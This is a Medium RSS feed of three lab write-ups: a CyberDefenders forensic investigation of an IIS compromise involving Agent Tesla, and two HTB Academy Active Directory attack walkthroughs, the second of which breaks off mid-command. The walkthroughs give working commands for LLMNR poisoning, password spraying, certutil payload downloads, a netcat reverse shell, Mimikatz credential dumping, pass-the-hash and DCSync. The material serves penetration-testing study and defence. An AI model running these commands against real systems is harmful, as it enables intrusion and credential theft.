<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Moustafa Abdelmaksoud on Medium]]></title>
        <description><![CDATA[Stories by Moustafa Abdelmaksoud on Medium]]></description>
        <link>https://medium.com/@moustafaabdelmaksoud?source=rss-e875d1a0a18b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*QQg5WrgDtdteCKpm</url>
            <title>Stories by Moustafa Abdelmaksoud on Medium</title>
            <link>https://medium.com/@moustafaabdelmaksoud?source=rss-e875d1a0a18b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 20:20:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@moustafaabdelmaksoud/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lockdown — CyberDefenders DFIR Walkthrough]]></title>
            <link>https://medium.com/@moustafaabdelmaksoud/lockdown-cyberdefenders-dfir-walkthrough-5d9b64227733?source=rss-e875d1a0a18b------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d9b64227733</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[Moustafa Abdelmaksoud]]></dc:creator>
            <pubDate>Wed, 07 Oct 2026 11:42:53 GMT</pubDate>
            <atom:updated>2026-10-07T11:42:53.270Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this challenge, I investigated a multi-stage compromise of a public-facing IIS server belonging to TechNova Systems.</p><p>The investigation involved three main forensic artefacts:</p><ul><li>A <strong>PCAP file</strong> containing the attacker’s network activity</li><li>A <strong>Windows memory dump</strong></li><li>A <strong>malware sample recovered from disk</strong></li></ul><p>The goal was to reconstruct the attack chain, identify how the attacker enumerated and compromised the IIS server, determine how persistence and command-and-control were established, and identify the malware family involved.</p><p>The primary tools used during the investigation were:</p><ul><li>Wireshark</li><li>Volatility 3</li><li>PEiD</li><li>VirusTotal</li></ul><h3>PCAP Analysis</h3><h3>Q1 — Reconnaissance Source</h3><p>To identify the host performing the reconnaissance, I filtered for TCP SYN packets:</p><pre>tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size &lt;= 1024</pre><p>The results showed 10.0.2.4 rapidly probing multiple ports on the IIS server 10.0.2.15, indicating a port scan.</p><p><strong>Answer:</strong> 10.0.2.4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCG57TzXI3Bq_jzMB2eFLQ.png" /><figcaption>Figure 1 — TCP SYN scan originating from 10.0.2.4 against the IIS server 10.0.2.15.</figcaption></figure><h3>Q2 — HTTP Enumeration Tool</h3><p>I filtered HTTP traffic originating from the attacker:</p><pre>http &amp;&amp; ip.src == 10.0.2.4</pre><p>The HTTP User-Agent revealed:</p><pre>Nmap Scripting Engine</pre><p>confirming that Nmap NSE was being used for HTTP enumeration.</p><p><strong>Answer:</strong> Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SpfvQe0KxkpZ3XESIsMyFg.png" /><figcaption>Figure 2 — HTTP requests showing the Nmap Scripting Engine User-Agent.</figcaption></figure><h3>Q3 — SMB Shares Accessed</h3><p>Reviewing the SMB2 traffic revealed two consecutive Tree Connect requests:</p><pre>\\10.0.2.15\Documents<br>\\10.0.2.15\IPC$</pre><p><strong>Answer:</strong> \\10.0.2.15\Documents, \\10.0.2.15\IPC$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PoSFfdh98INbPnOxRmlI5A.png" /><figcaption>Figure 3 — SMB2 Tree Connect requests to the Documents and IPC$ shares.</figcaption></figure><h3>Q4 — Uploaded Web Shell</h3><p>Further SMB analysis showed a file being created and written to the share:</p><pre>shell.aspx</pre><p>The .aspx extension is significant because the compromised server is running IIS, allowing the uploaded file to execute as server-side ASP.NET code.</p><p><strong>Answer:</strong> shell.aspx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*it1AIBxOWxueN36oJ19mAQ.png" /><figcaption>Figure 4 — SMB2 file operations showing the creation and upload of shell.aspx.</figcaption></figure><h3>Q5 — Reverse Shell Port</h3><p>After the attacker requested:</p><pre>GET /Documents/shell.aspx</pre><p>the IIS server initiated a TCP connection back to the attacker:</p><pre>10.0.2.15:49688 → 10.0.2.4:4443</pre><p>This identifies the reverse-shell listener.</p><p><strong>Answer:</strong> 4443</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BtzyFMV6am2bqLKegw8fqQ.png" /><figcaption>Figure 5 — Reverse shell connection from 10.0.2.15 to 10.0.2.4 over TCP port 4443.</figcaption></figure><h3>Memory Analysis</h3><h3>Q6 — Kernel Base Address</h3><p>I started the memory investigation using:</p><pre>python3 vol.py -f ../Lab/memdump.mem windows.info</pre><p>Volatility reported the kernel base as:</p><p><strong>Answer:</strong> 0xf80079213000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_wZkdp_qt-KtttmVOozbHg.png" /><figcaption>Figure 6 — Volatility windows.info output showing the kernel base address.</figcaption></figure><h3>Q7 — Persistence Executable</h3><p>Using:</p><pre>python3 vol.py -f ../Lab/memdump.mem windows.pslist</pre><p>I found the suspicious process updatenow.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FunMwj584VPGHyAQx-HB5w.png" /><figcaption>Figure 7 — Volatility pslist output showing the suspicious updatenow.exe process.</figcaption></figure><p>Checking the process tree revealed its full path:</p><pre>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\updatenow.exe</pre><p>The executable resides in the Windows Startup folder, indicating persistence through automatic execution at user logon.</p><p><strong>Answer:</strong><br>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\updatenow.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYRg47GP4ULmp4U3MPXn-w.png" /><figcaption>Figure 8 — Process tree revealing the full Startup-folder path of updatenow.exe.</figcaption></figure><h3>Q8 — Process Behind the Reverse Shell</h3><p>I used:</p><pre>python3 vol.py -f ../Lab/memdump.mem windows.netscan</pre><p>The connection to 10.0.2.4:4443 was owned by:</p><pre>w3wp.exe<br>PID 4332</pre><p>This is particularly important because w3wp.exe is the IIS Worker Process, <em>linking the reverse connection directly to the IIS worker process handling the compromised web application.</em></p><p><strong>Answer:</strong> w3wp.exe — PID 4332</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPmW_CgEPYAwzCsSz9m7nQ.png" /><figcaption>Figure 9 — Volatility netscan linking the reverse shell connection to w3wp.exe PID 4332.</figcaption></figure><h3>Malware Analysis</h3><h3>Q9 — Packer</h3><p>Opening the malware sample in PEiD identified the packer as:</p><p><strong>Answer:</strong> UPX</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*X7QhP8OxSGuTCeY4UCEtWw.png" /><figcaption>Figure 10 — PEiD identifying the malware sample as UPX-packed.</figcaption></figure><h3>Q10 — C2 Domain</h3><p>Searching the sample’s SHA-256 on VirusTotal revealed the following contacted domain:</p><pre>cp8nl.hyperhost.ua</pre><p><strong>Answer:</strong> cp8nl.hyperhost.ua</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RRngDmjEZmI9SNTkNWB4YA.png" /><figcaption>Figure 11 — VirusTotal Relations showing the contacted domain cp8nl.hyperhost.ua.</figcaption></figure><h3>Q11 — Malware Family</h3><p>Threat-intelligence results associated the sample with:</p><pre>Agent Tesla</pre><p><strong>Answer:</strong> Agent Tesla</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDhumQ67o7U9fTRvvkJ0cQ.png" /><figcaption>Figure 12 — VirusTotal community intelligence associating the sample with Agent Tesla.</figcaption></figure><h3>Attack Chain</h3><p>At this point, the intrusion can be summarized as:</p><pre>10.0.2.4<br>   ↓<br>Port Scanning<br>   ↓<br>Nmap HTTP Enumeration<br>   ↓<br>SMB Share Access<br>   ↓<br>shell.aspx Upload<br>   ↓<br>Web Shell Execution<br>   ↓<br>w3wp.exe<br>   ↓<br>Reverse Shell → 10.0.2.4:4443<br>   ↓<br>updatenow.exe<br>   ↓<br>Startup Persistence<br>   ↓<br>Agent Tesla<br>   ↓<br>cp8nl.hyperhost.ua</pre><h3>Conclusion</h3><p>The investigation reconstructed a multi-stage compromise beginning with network reconnaissance and HTTP enumeration, followed by SMB access and the upload of an ASP.NET web shell.</p><p>The web shell resulted in the IIS worker process w3wp.exe establishing a reverse connection to the attacker over port 4443. Memory analysis also revealed updatenow.exe being used for Startup-folder persistence.</p><p>Finally, malware analysis identified the payload as a UPX-packed <strong>Agent Tesla</strong> sample communicating with cp8nl.hyperhost.ua.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d9b64227733" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Enumeration & Attacks — Skills Assessment Part II (HTB Academy)]]></title>
            <link>https://medium.com/@moustafaabdelmaksoud/active-directory-enumeration-attacks-skills-assessment-part-ii-htb-academy-38bbe49c1012?source=rss-e875d1a0a18b------2</link>
            <guid isPermaLink="false">https://medium.com/p/38bbe49c1012</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Moustafa Abdelmaksoud]]></dc:creator>
            <pubDate>Sat, 08 Aug 2026 15:21:01 GMT</pubDate>
            <atom:updated>2026-08-08T15:21:01.357Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A walkthrough of a full-scope internal penetration test against Inlanefreight — starting from nothing but a foothold on the internal network, ending in complete domain compromise.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYXmX4UAHZ1X5oA56t-iWA.png" /></figure><h3>Scenario</h3><p>Unlike Part I, there’s no web shell to inherit this time. Inlanefreight brought us in for a full-scope internal penetration test ahead of an M&amp;A process, and the new CISO specifically wants the nuanced AD misconfigurations previous assessments may have missed. The client isn’t concerned with stealth, and provided a Parrot Linux VM sitting directly on the internal network. The brief: get a foothold in the domain, enumerate for flaws, and take it all the way to Domain Admin.</p><p><strong>Tools used:</strong> fping, Nmap, Responder, hashcat, Kerbrute, CrackMapExec, PowerView, Snaffler, Impacket (mssqlclient.py, psexec.py), PrintSpoofer, Netcat, Mimikatz, BloodHound, Inveigh, and native Windows tooling (certutil.exe, net.exe).</p><h3>Table of Contents</h3><pre>1. Internal Network Reconnaissance<br>2. LLMNR/NBT-NS Poisoning<br>3. Cracking the Captured NetNTLMv2<br>4. Initial Access to MS01<br>5. Domain Enumeration and Password Spraying<br>6. Share and Secret Hunting with Snaffler<br>7. MSSQL Access on SQL01<br>8. Privilege Escalation via SeImpersonatePrivilege<br>9. Credential Harvesting and Lateral Movement<br>10. Mapping the Domain Admin Path with BloodHound<br>11. Capturing CT059’s Hash<br>12. Cracking CT059&#39;s Hash<br>13. Abusing GenericAll over Domain Admins<br>14. Domain Admin Access to DC01<br>15. DCSync and Full Domain Compromise<br>16. Attack Path Summary and Key Takeaways</pre><h3>Network Diagram</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zyJ4_-6DnwY6kxL8o3upLg.png" /><figcaption><em>Figure 1 — Simplified network diagram showing the primary hosts involved in the attack path: Parrot Attack Host, MS01, SQL01, and DC01.</em></figcaption></figure><h3>Step 1 — Internal Recon from the Attack Host</h3><p>From the provided Parrot box (skills-par01), a quick host discovery sweep across the internal range:</p><pre>fping -asgq 172.16.6.0/23</pre><pre>172.16.7.3<br>172.16.7.50<br>172.16.7.240</pre><p>A full nmap scan against the live hosts (nmap -v -A -iL hosts.txt) identified:</p><ul><li>172.16.7.3 → <strong>DC01</strong> — DNS, Kerberos, LDAP, SMB (signing required)</li><li>172.16.7.50 → <strong>MS01</strong> — RDP open, SMB signing enabled but <em>not</em> required</li></ul><p>No obvious external entry point this time — this was an assumed-breach scenario, so the next move was to attack the domain’s broadcast name resolution protocols directly.</p><h3>Step 2 — LLMNR/NBT-NS Poisoning for a Foothold</h3><p>Ran Responder to poison LLMNR, NBT-NS, and mDNS traffic on the internal segment:</p><pre>sudo responder -I ens224</pre><p>Within moments, DC01 (172.16.7.3) sent out an LLMNR request for a mistyped hostname — exactly the kind of broadcast query Responder is built to catch — and an NTLMv2-SSP challenge/response hash for a domain user was captured:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3L9Muou5xB87K3dGTrROpw.png" /><figcaption><em>Figure 2 — Responder capturing an </em>NetNTLMv2 challenge-response<em> after poisoning LLMNR, NBT-NS, and mDNS traffic on the internal network.</em></figcaption></figure><pre>AB920::INLANEFREIGHT:...</pre><p><strong>Account name obtained:</strong> AB920</p><h3>Step 3 — Cracking the Captured Hash</h3><pre>hashcat -m 5600 AB920_ntlmv2 /usr/share/wordlists/rockyou.txt</pre><p>Cracked in seconds:</p><p><strong>Cleartext password:</strong> weasal</p><h3>Step 4 — Landing on MS01</h3><p>With AB920:weasal in hand, connected to MS01 (via RDP through the same access as the attack host). A context check showed a fairly unprivileged domain user:</p><pre>PS C:\Users\AB920&gt; whoami /priv<br>PS C:\Users\AB920&gt; whoami /groups</pre><p>— member of Remote Desktop Users, Remote Management Users, and standard Authenticated Users groups. Nothing privileged yet, but a foothold.</p><h4>Flag — C:\flag.txt on MS01</h4><pre>PS C:\Users\AB920&gt; cat c:\flag.txt<br>Gaud1t_******************</pre><h3>Step 5 — Domain Enumeration and Password Spraying</h3><p>Checked the domain’s password policy with the newly captured credentials:</p><pre>crackmapexec smb 172.16.7.3 -u AB920 -p weasal --pass-pol</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_U73BHLy29MokvR7mRO5A.png" /><figcaption><em>Figure 3 — CrackMapExec retrieving the domain password policy and confirming the absence of password complexity and account-lockout protections.</em></figcaption></figure><p>The policy had no complexity requirement and no lockout threshold — an environment tailor-made for a password spray. Pulled the full list of domain usernames:</p><pre>crackmapexec smb 172.16.7.3 -u AB920 -p weasal --users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NH9RsMp8DWsl0vovGfAMQ.png" /><figcaption>Figure 4 — CrackMapExec enumerating domain users from DC01 using the initially compromised AB920 account.</figcaption></figure><p>Then sprayed a single common password against every account using <strong>Kerbrute </strong>—<em>a comparatively lower-noise option than repeated SMB authentication attempts, although the Kerberos request pattern remains detectable.</em></p><pre>kerbrute passwordspray -d inlanefreight.local --dc 172.16.7.3 valid_users.txt Welcome1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*NcKp0cITEYpSTfxGu9cdbA.png" /><figcaption>Figure 5 — Kerbrute password spraying identifying valid credentials for the domain user BR086.</figcaption></figure><p><strong>Weak-credential method:</strong> Password spraying <strong>Username obtained:</strong> BR086 <strong>Password:</strong> Welcome1</p><p>A quick group check on BR086 showed membership in <strong>INLANEFREIGHT\IT-Managers</strong>, a custom domain group — a strong hint this account had more reach than a typical standard user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*jXwnxp0F2FeqIZEl5Yp3xg.png" /><figcaption>Figure 6 — PowerView confirming that BR086 belongs to the custom IT-Managers domain group.</figcaption></figure><h3>Step 6 — Loot Hunting with Snaffler</h3><p>Using BR086&#39;s access, ran Snaffler to crawl every share reachable from the domain, looking for exposed secrets:</p><pre>.\Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data</pre><p>Snaffler flagged a pile of unattend.xml sysprep leftovers (redacted in this case) and, more importantly, a web.config sitting on a departmental share:</p><pre>\\DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Private\Development\web.config</pre><p>Inside it, an MSSQL connection string in plaintext:</p><pre>User ID=netdb; Password=D@ta_bAse_adm1n!</pre><p><strong>MSSQL connection-string password:</strong> D@ta_bAse_adm1n! (user: netdb)</p><h3>Step 7 — Reaching SQL01</h3><p>Expanding the host sweep turned up a new live target, 172.16.7.60. Nmap identified it as <strong>SQL01</strong>, running MSSQL 2019 (SQLEXPRESS instance) on port 1433. Connected with the harvested credentials:</p><pre>mssqlclient.py netdb:&#39;D@ta_bAse_adm1n!&#39;@172.16.7.60</pre><p>Enabled command execution and confirmed the service context:</p><pre>SQL&gt; enable_xp_cmdshell<br>SQL&gt; xp_cmdshell whoami<br>nt service\mssql$sqlexpress</pre><p>A service account context — not admin yet, but a foothold with code execution on SQL01.</p><h3>Step 8 — Privilege Escalation via SeImpersonatePrivilege</h3><p>The MSSQL service account held SeImpersonatePrivilege — a potential target for a token-impersonation attack through an accessible privileged named pipe. Staged the tools via xp_cmdshell and certutil:</p><pre>xp_cmdshell certutil.exe -urlcache -f http://172.16.7.240:8000/PrintSpoofer64.exe C:\Users\Public\PrintSpoofer64.exe<br>xp_cmdshell certutil.exe -urlcache -f http://172.16.7.240:8000/nc.exe C:\Users\Public\nc.exe</pre><p>Set up a listener on the attack host:</p><pre>sudo nc -lnvp 8443</pre><p>Triggered PrintSpoofer to abuse the impersonation privilege via the print spooler named pipe and spawn a reverse shell:</p><pre>xp_cmdshell C:\Users\Public\PrintSpoofer64.exe -c &quot;C:\Users\Public\nc.exe 172.16.7.240 8443 -e cmd&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QgcQkGGuxgo3xZGg48xDvg.png" /><figcaption>Figure 7 — PrintSpoofer abusing SeImpersonatePrivilege on SQL01 to spawn a SYSTEM-level reverse shell.</figcaption></figure><p>The shell landed as SYSTEM:</p><pre>C:\Windows\system32&gt; whoami<br>nt authority\system</pre><h4>Flag — SQL01 Administrator Desktop</h4><pre>C:\Windows\system32&gt; type c:\users\administrator\Desktop\flag.txt<br>s3imp****************</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*cLEZUyLqzD4RQFgZrxGiGw.png" /><figcaption>Figure 8 — The reverse shell on SQL01 confirming execution as NT AUTHORITY\SYSTEM and access to the Administrator desktop flag.</figcaption></figure><h3>Step 9 — Credential Harvesting on SQL01</h3><p>With SYSTEM on SQL01, ran Mimikatz to dump credentials from memory:</p><pre>mimikatz # privilege::debug<br>mimikatz # sekurlsa::logonpasswords</pre><p>A live logon session revealed a domain service account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GizzIjLx3J6FgblmQvCEBA.png" /><figcaption><strong><em>Figure 9 — Mimikatz recovering the NTLM hash of the mssqlsvc domain service account from an active logon session on SQL01.</em></strong></figcaption></figure><pre>User Name : mssqlsvc<br>NTLM      : 8c9555327d95f815987c0d81238c7660</pre><p>Checking its group membership showed mssqlsvc belongs to <strong>Tier II Server Admins</strong>, and a check of MS01&#39;s local administrators group confirmed that group has local admin rights on MS01:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*2RXYevgCY1_cdVLxmwZawQ.png" /><figcaption><em>Figure 10 — The MS01 local Administrators group showing that Tier II Server Admins has administrative access to the host.</em></figcaption></figure><p>Passed the hash straight to MS01:</p><pre>impacket-psexec mssqlsvc@172.16.7.50 -hashes :8c9555327d95f815987c0d81238c7660</pre><h4>Flag — MS01 Administrator Desktop</h4><pre>c:\Users\Administrator\Desktop&gt; type flag.txt<br>exc3ss1ve***************</pre><p>A service account nested in an over-privileged “Tier” admin group turned into admin access on a second host — a good example of tiering models breaking down in practice.</p><h3>Step 10 — Mapping the Path to Domain Admins with BloodHound</h3><p>With multiple sets of credentials collected, a BloodHound sweep was run to graph the domain’s effective permissions. The path to DOMAIN ADMINS converged on a single account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fKa81VHdTG9UF1RuuUgyQ.png" /><figcaption><em>Figure 11 — BloodHound revealing that CT059 holds GenericAll rights over the Domain Admins group.</em></figcaption></figure><pre>CT059 → GenericAll → DOMAIN ADMINS</pre><p><strong>User with GenericAll over Domain Admins:</strong> CT059</p><p><strong>GenericAll</strong> over the Domain Admins group granted CT059 full control of the group object, including the ability to modify its membership.</p><h3>Step 11 — Capturing CT059’s Hash via LLMNR Poisoning</h3><p>To get credentials for CT059, ran Inveigh from MS01 to poison local name resolution the same way Responder did earlier:</p><pre>Import-Module .\Inveigh.ps1<br>Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*IH4v0hvPEDWu0JRoymuHbg.png" /><figcaption><em>Figure 12 — Inveigh capturing an </em>NetNTLMv2 challenge-response<em> for CT059 from the MS01 network segment.</em></figcaption></figure><p>Over time, NetNTLMv2 challenge-response for two accounts landed in the capture file, including CT059.</p><h3>Step 12 — Cracking CT059’s Hash</h3><pre>hashcat -m 5600 CT059_ntlmv2 /usr/share/wordlists/rockyou.txt</pre><pre>CT059::INLANEFREIGHT:...:charlie1</pre><p><strong>Cracked password:</strong> charlie1</p><h3>Step 13 — Abusing GenericAll to Join Domain Admins</h3><p>With valid CT059 credentials, abused the GenericAll right directly — no DACL modification needed, since GenericAll already grants full control of the group object:</p><pre>net group &quot;Domain Admins&quot; &quot;CT059&quot; /add /domain</pre><p>Verified:</p><pre>net group &quot;Domain Admins&quot; /domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*PH3nnK1c2a5J1nLBV7cneQ.png" /><figcaption><em>Figure 13 — Verification that CT059 was successfully added to the Domain Admins group by abusing GenericAll permissions.</em></figcaption></figure><p>CT059 is now a Domain Admin.</p><h3>Step 14 — Domain Admin Access to DC01</h3><pre>impacket-psexec CT059@172.16.7.3</pre><p>Authenticated with the newly-privileged account and landed a SYSTEM shell directly on the domain controller.</p><h4>Flag — DC01 Administrator Desktop</h4><pre>c:\Users\Administrator\Desktop&gt; type flag.txt<br>acLs*************</pre><h3>Step 15 — DCSync: Proving Full Domain Compromise</h3><p>From the DC01 shell, I used Mimikatz to perform DCSync against the krbtgt account. The account’s long-term key protects Kerberos Ticket Granting Tickets and, together with the domain SID, can be used to forge Golden Tickets.</p><pre>mimikatz # lsadump::dcsync /user:krbtgt</pre><pre>SAM Username : krbtgt<br>Hash NTLM    : ...</pre><p>With this hash, an attacker could forge Golden Tickets and maintain persistent, near-unlimited access to the domain — the definitive proof of full compromise.</p><h3>Attack Path Summary</h3><pre>Internal foothold (Parrot VM) → LLMNR/NBT-NS poisoning (Responder)<br>        ↓<br>Captured NetNTLMv2 → AB920 → cracked: weasal<br>        ↓<br>RDP to MS01 as AB920 → flag #1<br>        ↓<br>Weak password policy → Kerbrute spray → BR086 : Welcome1<br>        ↓<br>Snaffler share hunting → web.config → netdb : D@ta_bAse_adm1n!<br>        ↓<br>MSSQL access on SQL01 → xp_cmdshell (nt service\mssql$sqlexpress)<br>        ↓<br>SeImpersonatePrivilege → PrintSpoofer → SYSTEM on SQL01 → flag #2<br>        ↓<br>Mimikatz → mssqlsvc hash → Tier II Server Admins → admin on MS01 → flag #3<br>        ↓<br>BloodHound → CT059 has GenericAll on DOMAIN ADMINS<br>        ↓<br>Inveigh (LLMNR poisoning) → CT059 NetNTLMv2 → cracked: charlie1<br>        ↓<br>net group &quot;Domain Admins&quot; CT059 /add → CT059 is now a Domain Admin<br>        ↓<br>psexec to DC01 → flag #4<br>        ↓<br>DCSync krbtgt → Domain Compromised</pre><h3>Key Takeaways</h3><ul><li><strong>LLMNR/NBT-NS poisoning can still provide rapid initial access in networks</strong> where insecure broadcast name resolution remains enabled.</li><li><strong>A weak password policy turns spraying into a near-guaranteed win.</strong> No lockout threshold plus no complexity requirement meant a single common password (Welcome1) landed a hit across a list of over 1,700 accounts.</li><li><strong>Plaintext credentials in config files on shares remain a top finding.</strong> A single web.config with a connection string handed over database access — and from there, a service account&#39;s excessive privilege turned into SYSTEM.</li><li><strong>SeImpersonatePrivilege on a service account is a privilege escalation waiting to happen.</strong> On vulnerable Windows configurations, a service account holding SeImpersonatePrivilege may be able to escalate to SYSTEM using a suitable token-impersonation technique.</li><li><strong>“Tiering” only works if group membership actually enforces it.</strong> A service account nested in a “Tier II” admin group with real local admin rights on a separate tier host defeats the purpose of tiering entirely.</li><li><strong>ACL abuse remains the quiet path to Domain Admin.</strong> No exploit, no password guessing needed at the final step — just a net group command, because a standard user account had been granted GenericAll over the most powerful group in the domain.</li><li><strong>The krbtgt hash is the real prize.</strong> Compromising it doesn’t just prove domain compromise — it hands an attacker a durable persistence mechanism (Golden Tickets) that survives ordinary password resets.</li></ul><blockquote>This concludes the HTB Academy “Active Directory Enumeration &amp; Attacks” Skills Assessment. Across Part I — an external foothold through a web shell — and Part II — an internal assumed-breach scenario — the same domain was compromised through two fundamentally different attack paths. It is a clear reminder that securing Active Directory requires defense in depth, not merely a hardened perimeter.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38bbe49c1012" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Enumeration & Attacks — Skills Assessment Part I (HTB Academy)]]></title>
            <link>https://medium.com/@moustafaabdelmaksoud/from-a-web-shell-to-domain-admin-htb-academys-ad-enumeration-attacks-skills-assessment-part-i-063ea8bd7c67?source=rss-e875d1a0a18b------2</link>
            <guid isPermaLink="false">https://medium.com/p/063ea8bd7c67</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Moustafa Abdelmaksoud]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 09:47:29 GMT</pubDate>
            <atom:updated>2026-08-05T12:43:43.610Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A walkthrough of Inlanefreight’s Active Directory environment — from an exposed file upload vulnerability to full domain compromise.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BL7SweMMTecMYtxua4cHtw.png" /></figure><h3>Scenario</h3><p>A colleague started an external penetration test against Inlanefreight, found and exploited a file upload vulnerability, and dropped a password-protected web shell before being pulled onto another project. My job: pick up where they left off, use the web shell to get a foothold on the internal network, and see how far that foothold could be taken. The client wanted to know what high-risk issues exist in their AD environment — so the goal wasn’t just “get a shell,” it was full domain compromise.</p><p><strong>Tools used:</strong> a browser, Rubeus, hashcat, Impacket (secretsdump.py, psexec.py), Ligolo-ng, FreeRDP, Mimikatz, and PowerView (Get-DomainObjectACL).</p><h3>Table of Contents</h3><pre>1. Initial Access<br>2. Local Credential Collection<br>3. Internal Network Pivoting<br>4. Kerberoasting<br>5. Lateral Movement to MS01<br>6. Credential Harvesting<br>7. ACL Enumeration<br>8. DCSync<br>9. Pass-the-Hash to DC01<br>10. Attack Path and Lessons Learned</pre><h3>Network Diagram</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPIB4ieKtmGE17yfo3vPFA.png" /><figcaption><strong><em>Figure 1 — Network diagram showing the attack path from the exposed WEB-WIN01 web shell, through the Ligolo-ng pivot, to DC01 and MS01 on the internal network.</em></strong></figcaption></figure><h3>Step 1 — Initial Foothold via the Web Shell</h3><p>Recon on the external web server (10.129.202.242) turned up an open /uploads/ directory:</p><pre>10.129.202.242 - /uploads/<br>4/11/2022  5:30 PM   10446  antak.aspx<br>3/30/2022  2:40 AM     168  web.config</pre><p>antak.aspx is the ASP.NET web shell the previous tester left behind. Logging in with the supplied credentials (admin:My_W3bsH3ll_P@ssw0rd!) dropped me straight into a command execution interface. A quick whoami confirmed the web application pool was running with excessive privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGnf18T3xZGco9guu83Izw.png" /><figcaption><strong>Figure 2 — The Antak ASP.NET web shell deployed on WEB-WIN01, providing remote PowerShell command execution and file-management capabilities.</strong></figcaption></figure><pre>PS&gt; whoami<br>nt authority\system</pre><p>Full SYSTEM on the web server, right out of the gate — a strong signal the box was misconfigured beyond just the upload flaw.</p><h4>Flag #1 — Web Server (Administrator Desktop)</h4><pre>PS&gt; ls c:\users\administrator\Desktop<br>PS&gt; cat c:\users\administrator\Desktop\flag.txt<br>JusT_g3**************</pre><h3>Recon: Finding the Internal Network</h3><p>ipconfig /all revealed the web server was dual-homed — one interface facing the internet, and a second one sitting on an internal, AD-integrated network:</p><pre>Host Name . . . . . . . . . . . . : WEB-WIN01<br>Primary Dns Suffix  . . . . . . . : INLANEFREIGHT.LOCAL<br>IPv4 Address. . . . . . . . . . . : 172.16.6.100</pre><p>This dual-homed box is the pivot point into the internal domain.</p><h3>Step 2 — Local Secrets &amp; Pivoting</h3><p>Before moving further, I dumped the local SAM/SYSTEM/SECURITY hives via the web shell for offline analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*D8M6h8aEK683AZvc5653rw.png" /><figcaption><strong>Figure 3 — Exporting the local SAM, SYSTEM, and SECURITY registry hives from WEB-WIN01 for offline credential analysis.</strong></figcaption></figure><pre>reg.exe save hklm\sam C:\sam.save<br>reg.exe save hklm\system C:\system.save<br>reg.exe save hklm\security 